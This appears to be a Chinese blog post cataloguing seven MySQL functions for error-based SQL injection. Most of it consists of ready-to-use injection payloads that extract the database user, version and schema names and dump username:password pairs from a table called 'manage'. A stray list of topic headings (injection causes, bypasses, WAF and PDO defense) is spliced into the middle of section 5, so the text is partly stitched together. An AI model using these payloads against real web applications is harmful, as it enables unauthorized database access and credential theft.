标签: 报错注入

  • 报错注入7大常用函数

    1.ST_LatFromGeoHash()(mysql>=5.7.x)

    payload

    and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

    2.ST_LongFromGeoHash(mysql>=5.7.x)

    payload

    #同 8 ,都使用了嵌套查询

    and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

    3.GTID (MySQL >= 5.6.X – 显错<=200)

    0x01 GTID

    GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

    GTID_SUBSET() 和 GTID_SUBTRACT()函数

    0X02 函数详解

    GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

    GTID_SUBSET( set1 , set2 ) – 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) – 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

    0x03 注入过程( payload )

    GTID_SUBSET函数
    ​') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+


    GTID_SUBTRACT

    ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

    函数都是那样,只是适用的版本不同

    4.floor(8.x>mysql>5.0)

    获取数据库版本信息

    ')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取当前数据库

    ')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取表数据

    ')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取users表里的段名

    ')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    5.ST_Pointfromgeohash (mysql>=5.7)

    获取数据库版本信息

    ')or ST_PointFromGeoHash(version(),1)--+

    获取表数据

    sql注入原因

    sql注入分类

    sql注入绕过 一部分

    sql注入防御 waf防御 过滤函数来防御 pdo

    ')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

    获取users表里的段名

    ')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

    获取字段里面的数据

    ')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

    6 updatexml

    updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

    7 extractvalue

    extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数